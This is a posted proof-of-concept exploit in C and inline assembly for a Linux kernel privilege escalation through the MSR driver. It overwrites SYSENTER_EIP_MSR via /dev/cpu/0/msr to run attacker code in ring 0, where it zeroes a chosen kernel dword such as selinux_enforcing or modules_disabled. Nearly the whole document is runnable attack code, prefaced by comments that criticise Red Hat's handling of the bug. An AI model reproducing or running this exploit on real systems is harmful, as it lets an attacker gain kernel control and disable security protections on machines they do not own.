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Linux Kernel MSR Driver Privilege Escalation

Posted on 05 August 2013

// PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host
// can do whatever in the commented area, re-enable module support, etc
// requires CONFIG_X86_MSR and just uid 0
// a small race exists between the time when the MSR is written to the first
// time and when we issue our sysenter
// we additionally require CAP_SYS_NICE to make the race win nearly guaranteed
// configured to take a hex arg of a dword pointer to set to 0
// (modules_disabled, selinux_enforcing, take your pick)
//
// Hello to Red Hat, who has shown yet again to not care until a
// public exploit is released. Not even a bugtraq entry existed in
// their system until this was published -- and they have a paid team
// of how many?
// It's not as if I didn't mention the problem and existence of an easy
// exploit multiple times prior:
// https://twitter.com/grsecurity/status/298977370776432640
// https://twitter.com/grsecurity/status/297365303095078912
// https://twitter.com/grsecurity/status/297189488638181376
// https://twitter.com/grsecurity/status/297030133628416000
// https://twitter.com/grsecurity/status/297029470072745984
// https://twitter.com/grsecurity/status/297028324134359041
//
// spender 2013

#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/mman.h>

#define SYSENTER_EIP_MSR 0x176

u_int64_t msr;

unsigned long ourstack[65536];

u_int64_t payload_data[16];

extern void *_ring0;
extern void *_ring0_end;

void ring0(void)
{
__asm volatile(".globl _ring0
"
 "_ring0:
"
 ".intel_syntax noprefix
"
 ".code64
"
 // set up stack pointer with 'ourstack'
 "mov esp, ecx
"
 // save registers, contains the original MSR value
 "push rax
"
 "push rbx
"
 "push rcx
"
 "push rdx
"
 // play with the kernel here with interrupts disabled!
 "mov rcx, qword ptr [rbx+8]
"
 "test rcx, rcx
"
 "jz skip_write
"
 "mov dword ptr [rcx], 0
"
 "skip_write:
"
 // restore MSR value before returning
 "mov ecx, 0x176
" // SYSENTER_EIP_MSR
 "mov eax, dword ptr [rbx]
"
 "mov edx, dword ptr [rbx+4]
"
 "wrmsr
"
 "pop rdx
"
 "pop rcx
"
 "pop rbx
"
 "pop rax
"
 "sti
"
 "sysexit
"
 ".code32
"
 ".att_syntax prefix
"
 ".global _ring0_end
"
 "_ring0_end:
"
 );
}

unsigned long saved_stack;

int main(int argc, char *argv[])
{
 cpu_set_t set;
 int msr_fd;
 int ret;
 u_int64_t new_msr;
 struct sched_param sched;
 u_int64_t resolved_addr = 0ULL;

 if (argc == 2)
 resolved_addr = strtoull(argv[1], NULL, 16);

 /* can do this without privilege */
 mlock(_ring0, (unsigned long)_ring0_end - (unsigned long)_ring0);
 mlock(&payload_data, sizeof(payload_data));

 CPU_ZERO(&set);
 CPU_SET(0, &set);

 sched.sched_priority = 99;

 ret = sched_setscheduler(0, SCHED_FIFO, &sched);
 if (ret) {
 fprintf(stderr, "Unable to set priority.
");
 exit(1);
 }

 ret = sched_setaffinity(0, sizeof(cpu_set_t), &set);
 if (ret) {
 fprintf(stderr, "Unable to set affinity.
");
 exit(1);
 }

 msr_fd = open("/dev/cpu/0/msr", O_RDWR);
 if (msr_fd < 0) {
 msr_fd = open("/dev/msr0", O_RDWR);
 if (msr_fd < 0) {
 fprintf(stderr, "Unable to open /dev/cpu/0/msr
");
 exit(1);
 }
 }
 lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
 ret = read(msr_fd, &msr, sizeof(msr));
 if (ret != sizeof(msr)) {
 fprintf(stderr, "Unable to read /dev/cpu/0/msr
");
 exit(1);
 }

 // stuff some addresses in a buffer whose address we
 // pass to the "kernel" via register
 payload_data[0] = msr;
 payload_data[1] = resolved_addr;

 printf("Old SYSENTER_EIP_MSR = %016llx
", msr);
 fflush(stdout);

 lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
 new_msr = (u_int64_t)(unsigned long)&_ring0;

 printf("New SYSENTER_EIP_MSR = %016llx
", new_msr);
 fflush(stdout);

 ret = write(msr_fd, &new_msr, sizeof(new_msr));
 if (ret != sizeof(new_msr)) {
 fprintf(stderr, "Unable to modify /dev/cpu/0/msr
");
 exit(1);
 }

 __asm volatile(
 ".intel_syntax noprefix
"
 ".code32
"
 "mov saved_stack, esp
"
 "lea ecx, ourstack
"
 "lea edx, label2
"
 "lea ebx, payload_data
"
 "sysenter
"
 "label2:
"
 "mov esp, saved_stack
"
 ".att_syntax prefix
"
 );

 printf("Success.
");

 return 0;
}

 

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